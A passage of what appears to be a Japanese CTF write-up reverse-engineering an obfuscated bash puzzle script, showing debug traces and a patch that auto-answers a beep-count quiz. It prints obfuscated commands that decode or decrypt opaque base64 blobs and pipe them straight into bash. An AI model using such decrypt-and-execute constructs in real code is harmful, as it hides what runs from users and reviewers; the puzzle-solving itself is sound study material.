pl/BfBQyqgDX05qJwG2zQib43NX+PhPY702AzigX1LpOu1Zx0n0xL/tILvDlx+DT1UTpRmE0AvTvGrw7iA3JurwYyWuntgNwaowTBtfEI6qRbdXwxHV5XaD7RqLAuuY+8gQzuq1h0qmbho/qsP/dVHjMP3w+PdyB3kyUBIhhAfRh69Km1Oqoh0bfxc8A+auQdXKFVIyrz26qmVd9OXVlomwJAvr9jkgAVMX5h3IRNNmHB8B/nvueT7xgB9y/332+VjD9s1kcCi7L+SMMqoSpIpynDRwmPco76Vf/lMN4bvOzaRB1/4xugfzlJ6LT6xe9BjOByezo+VkUXQB/FuLNDpldAvvvfbr4RFt9XVVS4bYmlNyyCNLcbFTquK6sT5uFOydtANDt4MZ7Zj9KM7uzOhgYNEYd1TBzp1j83KH9UR+chJdKUSpjcrtsH1vEjd90k7+tqElC2AKUTkB0MwPjUN286mlr9tuFzJhAiSnzFPE/0egkRtwRu64Pr4bHb2sedoHv+MVB9avz6zsb49Jjcxkfmh1CMshyL+L8KVDc8A6hxrzg1LfCU6zMA1KxpfHkrZJlmsb1AAIXqvjY1ALHJD/zAftk84GENIqUDZRsFJjlULc4mDsP7hwM1vO3fbmgVMFyaC9QfopzLFBrURSmunN3MYzJOQuRYsQCkqaGvOCHaQlWXlu/dQif47i0lOe/EcSnuud9f9jJfmaLxeTd87CBKtzv2ETkEL6YMNJ15zlspn/prozyYTX/RBnE8b5MyD7WLu9dXzooETrCIGnsicKsZR0oLKMnqKPkYZXcEvIYi6NUvbKnjql6GM29KGuFjGxOBK6L05EY+RIeD1S83+r2rNQwaSDZ31OaLnAlBqf6xYcwtjFPgh5OYqSnSCQNwsYxMvBgljJbzH45hQc1+A+9vDUnFpBYVRjmVGaaLq2m678brUIEX1kELhMod5OcahQGkCTjLieiJz2CFrj9T6IY6A4gUf9NegS3/RsAtpyBDM4hkfPvR7jqobkwkGOPAMkfqvXlldhjOlwDyrOU9t+euzZHy6EwS+CCbCsc9wlOFdIg248uI4S0ZnZLI3JYXbF2WNf9BO5YY5cPlAKAD7Fd1QQHqpRLGQHqIiQ0l6cZFprjf6sJVhS0S0rG93cdo8PspUgNiz/6FqhJ2jthYqTnJct42ezipW3SGvJNiBUFUgng8jABMQaj6/f5crxe1eEv7OxhOATJzqqhB9Wh73tJgEXI2m8Rc4Y9vVtKdrMOn6iYaO1JeedPjjio545wfMFV/IKodLGAWkk059B8b7jaE1/4mYyM94AKAeO70GpzewBaqpJ4VvP6KmhGbuEa9Q1imUWHk8hyFw8nOIP64uWl+7+h1m8MF5gHutpPjjTokKSiip/cPngVo6CvaMAS1GSZOhHmgPhakiFOrak0husgVdih4aBGwnaKx25Fk8J83GmMh2hOoUH1SYfAzBhtDJnFSjZhmICUpnJJvThA2BxP1enHE23t8UBbHvx/M3CbC3WPufdIhmHP0F10OGpgfLlFGZvBimTg5DcBw3LkG9XNGZhjOgzfTRpGXhqQMr8cMPnQyrUh0DR7ZY0YLf1HWS8aGniw8mBaFO2C1tZC0rlk=|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;
デバッグモードで実行すると、以下のようになりました。
$ bash -x Beeeeeeeeeer_4.sh +++ base64 -d +++ tr A-Za-z N-ZA-Mn-za-m +++ echo p2IkPt== ++ seq 5 + for k in '$($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)))' + l=3 +++ base64 -d +++ rev +++ echo ==gCxV2c ++ seq 3 + for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)' ++ base64 -d ++ echo ZWNobwo= + echo -ne '\a' ++ base64 -d ++ rev ++ echo =oQM + sleep 1 + for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)' ++ base64 -d ++ echo ZWNobwo= + echo -ne '\a' ++ base64 -d ++ rev ++ echo =oQM + sleep 1 + for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)' ++ base64 -d ++ echo ZWNobwo= + echo -ne '\a' ++ base64 -d ++ rev ++ echo =oQM + sleep 1 ++ base64 -d ++ echo ZWNobwo= + echo 'How many beeps?' How many beeps? + read n
ランダムな回数(1~10回)クイズが出題されるようです。
ランダムで、$l
の値が決まり、その回数分1秒のsleepが実行されます。
実行されたsleepの回数を答えて、正解すればもう一度クイズが出題されるようになっています。
すべてに正解すれば、先に進めるようです。
for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1))); do l=$((RANDOM % 10 +1)); for m in $($(echo ==gCxV2c |rev|base64 -d) $l); do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'; $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d); done; $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"; $'\162\145\141\144' n </dev/tty; export n; if [ "$n" -ne "$l" ]; then $'\x65\x78\x69\x74'; fi; done;
上記の処理を以下のように変更して、自動で回答するようにしました。
for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1))); do l=$((RANDOM % 10 +1)); for m in $($(echo ==gCxV2c |rev|base64 -d) $l); do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'; $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d); done; $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"; # $'\162\145\141\144' n </dev/tty; # export n; n=$l if [ "$n" -ne "$l" ]; then $'\x65\x78\x69\x74'; fi; done;
再度実行すると、以下のようになりました。
$ bash -x Beeeeeeeeeer_4.sh # 省略 + echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK ++ base64 -d ++ echo YmFzZTY0Cg== ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ echo =bNnmSzL + bash ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ echo XDJY + base64 -d How many beeps? + read n
また、クイズが出題されています。適当に回答すると、以下のようになり、AESの復号に失敗してしまうようです。
$ bash -x Beeeeeeeeeer_4.sh # 省略 How many beeps? + read n 1 + export n + bash + base64 -d + echo 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